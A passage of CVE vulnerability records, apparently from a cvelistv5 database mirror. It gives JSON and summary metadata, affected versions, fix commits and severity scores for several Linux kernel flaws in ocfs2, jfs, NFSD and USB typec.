                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.112",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.53",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.12",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "2.6.28",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: strict bound check before memcmp in ocfs2_xattr_find_entry()\n\nxattr in ocfs2 maybe \u0027non-indexed\u0027, which saved with additional space\nrequested.  It\u0027s better to check if the memory is out of bound before\nmemcmp, although this possibility mainly comes from crafted poisonous\nimages."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:24:32.412Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e2b3d7a9d019d4d1a0da6c3ea64a1ff79c99c090"
        },
        {
          "url": "https://git.kernel.org/stable/c/e8f9c4af7af7e9e4cd09c0251c7936593147419f"
        },
        {
          "url": "https://git.kernel.org/stable/c/57a3d89831fcaa2cdbe024b47c7c36d5a56c3637"
        },
        {
          "url": "https://git.kernel.org/stable/c/c031d286eceb82f72f8623b7f4abd2aa491bfb5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/cfb926051fab19b10d1e65976211f364aa820180"
        },
        {
          "url": "https://git.kernel.org/stable/c/c726dea9d0c806d64c26fcef483b1fb9474d8c5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/e4ffea01adf3323c821b6f37e9577d2d400adbaa"
        },
        {
          "url": "https://git.kernel.org/stable/c/af77c4fc1871847b528d58b7fdafb4aa1f6a9262"
        }
      ],
      "title": "ocfs2: strict bound check before memcmp in ocfs2_xattr_find_entry()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-41016",
    "datePublished": "2024-07-29T06:37:02.530Z",
    "dateReserved": "2024-07-12T12:17:45.612Z",
    "dateUpdated": "2026-05-12T11:56:13.855Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47723 (GCVE-0-2024-47723)

Vulnerability from cvelistv5 – Published: 2024-10-21 12:13 – Updated: 2026-05-12 11:58

Title

jfs: fix out-of-bounds in dbNextAG() and diAlloc()

Summary

In the Linux kernel, the following vulnerability has been resolved: jfs: fix out-of-bounds in dbNextAG() and diAlloc() In dbNextAG() , there is no check for the case where bmp->db_numag is greater or same than MAXAG due to a polluted image, which causes an out-of-bounds. Therefore, a bounds check should be added in dbMount(). And in dbNextAG(), a check for the case where agpref is greater than bmp->db_numag should be added, so an out-of-bounds exception should be prevented. Additionally, a check for the case where agno is greater or same than MAXAG should be added in diAlloc() to prevent out-of-bounds.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/d1017d2a0f3f16dc1…
https://git.kernel.org/stable/c/5ad6284c8d433f8a2…
https://git.kernel.org/stable/c/0338e66cba272351c…
https://git.kernel.org/stable/c/ead82533278502428…
https://git.kernel.org/stable/c/6ce8b6ab44a8b5918…
https://git.kernel.org/stable/c/c1ba4b8ca799ff1d9…
https://git.kernel.org/stable/c/128d5cfdcf844cb69…
https://git.kernel.org/stable/c/96855f40e152989c9…
https://git.kernel.org/stable/c/e63866a4755628105…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < d1017d2a0f3f16dc1db5120e7ddbe7c6680425b0 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 5ad6284c8d433f8a213111c5c44ead4d9705b622 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 0338e66cba272351ca9d7d03f3628e390e70963b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < ead82533278502428883085a787d5a00f15e5eb9 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 6ce8b6ab44a8b5918c0ee373d4ad19d19017931b (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < c1ba4b8ca799ff1d99d01f37d7ccb7d5ba5533d2 (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 128d5cfdcf844cb690c9295a3a1c1114c21fc15a (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < 96855f40e152989c9e7c20c4691ace5581098acc (git) Affected: 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 , < e63866a475562810500ea7f784099bfe341e761a (git)
Linux	Linux	Affected: 2.6.12 Unaffected: 0 , < 2.6.12 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47723",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:01:38.378971Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:17.044Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:22.096Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:41.693Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_dmap.c",
            "fs/jfs/jfs_imap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "d1017d2a0f3f16dc1db5120e7ddbe7c6680425b0",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "5ad6284c8d433f8a213111c5c44ead4d9705b622",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "0338e66cba272351ca9d7d03f3628e390e70963b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "ead82533278502428883085a787d5a00f15e5eb9",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "6ce8b6ab44a8b5918c0ee373d4ad19d19017931b",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "c1ba4b8ca799ff1d99d01f37d7ccb7d5ba5533d2",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "128d5cfdcf844cb690c9295a3a1c1114c21fc15a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "96855f40e152989c9e7c20c4691ace5581098acc",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            },
            {
              "lessThan": "e63866a475562810500ea7f784099bfe341e761a",
              "status": "affected",
              "version": "1da177e4c3f41524e886b7f1b8a0c1fc7321cac2",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/jfs/jfs_dmap.c",
            "fs/jfs/jfs_imap.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.12"
            },
            {
              "lessThan": "2.6.12",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.12",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\njfs: fix out-of-bounds in dbNextAG() and diAlloc()\n\nIn dbNextAG() , there is no check for the case where bmp-\u003edb_numag is\ngreater or same than MAXAG due to a polluted image, which causes an\nout-of-bounds. Therefore, a bounds check should be added in dbMount().\n\nAnd in dbNextAG(), a check for the case where agpref is greater than\nbmp-\u003edb_numag should be added, so an out-of-bounds exception should be\nprevented.\n\nAdditionally, a check for the case where agno is greater or same than\nMAXAG should be added in diAlloc() to prevent out-of-bounds."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:31.275Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/d1017d2a0f3f16dc1db5120e7ddbe7c6680425b0"
        },
        {
          "url": "https://git.kernel.org/stable/c/5ad6284c8d433f8a213111c5c44ead4d9705b622"
        },
        {
          "url": "https://git.kernel.org/stable/c/0338e66cba272351ca9d7d03f3628e390e70963b"
        },
        {
          "url": "https://git.kernel.org/stable/c/ead82533278502428883085a787d5a00f15e5eb9"
        },
        {
          "url": "https://git.kernel.org/stable/c/6ce8b6ab44a8b5918c0ee373d4ad19d19017931b"
        },
        {
          "url": "https://git.kernel.org/stable/c/c1ba4b8ca799ff1d99d01f37d7ccb7d5ba5533d2"
        },
        {
          "url": "https://git.kernel.org/stable/c/128d5cfdcf844cb690c9295a3a1c1114c21fc15a"
        },
        {
          "url": "https://git.kernel.org/stable/c/96855f40e152989c9e7c20c4691ace5581098acc"
        },
        {
          "url": "https://git.kernel.org/stable/c/e63866a475562810500ea7f784099bfe341e761a"
        }
      ],
      "title": "jfs: fix out-of-bounds in dbNextAG() and diAlloc()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47723",
    "datePublished": "2024-10-21T12:13:57.614Z",
    "dateReserved": "2024-09-30T16:00:12.950Z",
    "dateUpdated": "2026-05-12T11:58:41.693Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-43945 (GCVE-0-2022-43945)

Vulnerability from cvelistv5 – Published: 2022-11-04 00:00 – Updated: 2026-05-12 10:12

Summary

The Linux kernel NFSD implementation prior to versions 5.19.17 and 6.0.2 are vulnerable to buffer overflow. NFSD tracks the number of pages held by each NFSD thread by combining the receive and send buffers of a remote procedure call (RPC) into a single array of pages. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage data added at the end of the message. The RPC message with garbage data is still correctly formed according to the specification and is passed forward to handlers. Vulnerable code in NFSD is not expecting the oversized request and writes beyond the allocated buffer space. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Severity ?

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-131 - Incorrect Calculation of Buffer Size

Assigner

SNPS

References

3 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/t…
https://security.netapp.com/advisory/ntap-2022121…
http://packetstormsecurity.com/files/171289/Kerne…

Impacted products

1 product

Vendor	Product	Version
linux	linux_kernel	Affected: < 6.0.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T13:40:06.873Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f90497a16e434c2211c66e3de8e77b17868382b8"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20221215-0006/"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://packetstormsecurity.com/files/171289/Kernel-Live-Patch-Security-Notice-LNS-0092-1.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2022-43945",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-05-01T19:08:01.476613Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-05-01T19:08:43.378Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:31.054Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "linux_kernel",
          "vendor": "linux",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 6.0.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The Linux kernel NFSD implementation prior to versions 5.19.17 and 6.0.2 are vulnerable to buffer overflow. NFSD tracks the number of pages held by each NFSD thread by combining the receive and send buffers of a remote procedure call (RPC) into a single array of pages. A client can force the send buffer to shrink by sending an RPC message over TCP with garbage data added at the end of the message. The RPC message with garbage data is still correctly formed according to the specification and is passed forward to handlers. Vulnerable code in NFSD is not expecting the oversized request and writes beyond the allocated buffer space. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-131",
              "description": "CWE-131: Incorrect Calculation of Buffer Size",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-03-08T00:00:00.000Z",
        "orgId": "8cad7728-009c-4a3d-a95e-ca62e6ff8a0b",
        "shortName": "SNPS"
      },
      "references": [
        {
          "url": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f90497a16e434c2211c66e3de8e77b17868382b8"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20221215-0006/"
        },
        {
          "url": "http://packetstormsecurity.com/files/171289/Kernel-Live-Patch-Security-Notice-LNS-0092-1.html"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8cad7728-009c-4a3d-a95e-ca62e6ff8a0b",
    "assignerShortName": "SNPS",
    "cveId": "CVE-2022-43945",
    "datePublished": "2022-11-04T00:00:00.000Z",
    "dateReserved": "2022-10-26T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:31.054Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50150 (GCVE-0-2024-50150)

Vulnerability from cvelistv5 – Published: 2024-11-07 09:31 – Updated: 2026-05-12 12:00

Title

usb: typec: altmode should keep reference to parent

Summary

In the Linux kernel, the following vulnerability has been resolved: usb: typec: altmode should keep reference to parent The altmode device release refers to its parent device, but without keeping a reference to it. When registering the altmode, get a reference to the parent and put it in the release function. Before this fix, when using CONFIG_DEBUG_KOBJECT_RELEASE, we see issues like this: [ 43.572860] kobject: 'port0.0' (ffff8880057ba008): kobject_release, parent 0000000000000000 (delayed 3000) [ 43.573532] kobject: 'port0.1' (ffff8880057bd008): kobject_release, parent 0000000000000000 (delayed 1000) [ 43.574407] kobject: 'port0' (ffff8880057b9008): kobject_release, parent 0000000000000000 (delayed 3000) [ 43.575059] kobject: 'port1.0' (ffff8880057ca008): kobject_release, parent 0000000000000000 (delayed 4000) [ 43.575908] kobject: 'port1.1' (ffff8880057c9008): kobject_release, parent 0000000000000000 (delayed 4000) [ 43.576908] kobject: 'typec' (ffff8880062dbc00): kobject_release, parent 0000000000000000 (delayed 4000) [ 43.577769] kobject: 'port1' (ffff8880057bf008): kobject_release, parent 0000000000000000 (delayed 3000) [ 46.612867] ================================================================== [ 46.613402] BUG: KASAN: slab-use-after-free in typec_altmode_release+0x38/0x129 [ 46.614003] Read of size 8 at addr ffff8880057b9118 by task kworker/2:1/48 [ 46.614538] [ 46.614668] CPU: 2 UID: 0 PID: 48 Comm: kworker/2:1 Not tainted 6.12.0-rc1-00138-gedbae730ad31 #535 [ 46.615391] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.15.0-1 04/01/2014 [ 46.616042] Workqueue: events kobject_delayed_cleanup [ 46.616446] Call Trace: [ 46.616648] <TASK> [ 46.616820] dump_stack_lvl+0x5b/0x7c [ 46.617112] ? typec_altmode_release+0x38/0x129 [ 46.617470] print_report+0x14c/0x49e [ 46.617769] ? rcu_read_unlock_sched+0x56/0x69 [ 46.618117] ? __virt_addr_valid+0x19a/0x1ab [ 46.618456] ? kmem_cache_debug_flags+0xc/0x1d [ 46.618807] ? typec_altmode_release+0x38/0x129 [ 46.619161] kasan_report+0x8d/0xb4 [ 46.619447] ? typec_altmode_release+0x38/0x129 [ 46.619809] ? process_scheduled_works+0x3cb/0x85f [ 46.620185] typec_altmode_release+0x38/0x129 [ 46.620537] ? process_scheduled_works+0x3cb/0x85f [ 46.620907] device_release+0xaf/0xf2 [ 46.621206] kobject_delayed_cleanup+0x13b/0x17a [ 46.621584] process_scheduled_works+0x4f6/0x85f [ 46.621955] ? __pfx_process_scheduled_works+0x10/0x10 [ 46.622353] ? hlock_class+0x31/0x9a [ 46.622647] ? lock_acquired+0x361/0x3c3 [ 46.622956] ? move_linked_works+0x46/0x7d [ 46.623277] worker_thread+0x1ce/0x291 [ 46.623582] ? __kthread_parkme+0xc8/0xdf [ 46.623900] ? __pfx_worker_thread+0x10/0x10 [ 46.624236] kthread+0x17e/0x190 [ 46.624501] ? kthread+0xfb/0x190 [ 46.624756] ? __pfx_kthread+0x10/0x10 [ 46.625015] ret_from_fork+0x20/0x40 [ 46.625268] ? __pfx_kthread+0x10/0x10 [ 46.625532] ret_from_fork_asm+0x1a/0x30 [ 46.625805] </TASK> [ 46.625953] [ 46.626056] Allocated by task 678: [ 46.626287] kasan_save_stack+0x24/0x44 [ 46.626555] kasan_save_track+0x14/0x2d [ 46.626811] __kasan_kmalloc+0x3f/0x4d [ 46.627049] __kmalloc_noprof+0x1bf/0x1f0 [ 46.627362] typec_register_port+0x23/0x491 [ 46.627698] cros_typec_probe+0x634/0xbb6 [ 46.628026] platform_probe+0x47/0x8c [ 46.628311] really_probe+0x20a/0x47d [ 46.628605] device_driver_attach+0x39/0x72 [ 46.628940] bind_store+0x87/0xd7 [ 46.629213] kernfs_fop_write_iter+0x1aa/0x218 [ 46.629574] vfs_write+0x1d6/0x29b [ 46.629856] ksys_write+0xcd/0x13b [ 46.630128] do_syscall_64+0xd4/0x139 [ 46.630420] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 46.630820] [ 46.630946] Freed by task 48: [ 46.631182] kasan_save_stack+0x24/0x44 [ 46.631493] kasan_save_track+0x14/0x2d [ 46.631799] kasan_save_free_info+0x3f/0x4d [ 46.632144] __kasan_slab_free+0x37/0x45 [ 46.632474] ---truncated---

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/2b0b33e8a58388fa9…
https://git.kernel.org/stable/c/2c15c4133d00f5da6…
https://git.kernel.org/stable/c/6af43ec3bf40f8b42…
https://git.kernel.org/stable/c/87474406056891e4f…
https://git.kernel.org/stable/c/bee1b68cb8bcee4fd…
https://git.kernel.org/stable/c/1ded6b12499e6dee9…
https://git.kernel.org/stable/c/68a7c7fe322546be1…
https://git.kernel.org/stable/c/befab3a278c59db0c…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 2b0b33e8a58388fa9078f0fbe9af1900e6b08879 (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 2c15c4133d00f5da632fce60ed013fc31aa9aa58 (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 6af43ec3bf40f8b428d9134ffa7a291aecd60da8 (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 87474406056891e4fdea0794e1f632b21b3dfa27 (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < bee1b68cb8bcee4fd3a8bde3a4886e0b1375dc4d (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 1ded6b12499e6dee9b0e1ceac633be36538f6fc2 (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < 68a7c7fe322546be1464174c8d85874b8161deda (git) Affected: 8a37d87d72f0c69f837229c04d2fcd7117ea57e7 , < befab3a278c59db0cc88c8799638064f6d3fd6f8 (git)
Linux	Linux	Affected: 4.19 Unaffected: 0 , < 4.19 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.229 , ≤ 5.10.* (semver) Unaffected: 5.15.170 , ≤ 5.15.* (semver) Unaffected: 6.1.115 , ≤ 6.1.* (semver) Unaffected: 6.6.59 , ≤ 6.6.* (semver) Unaffected: 6.11.6 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-50150",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-03-06T16:09:31.243434Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
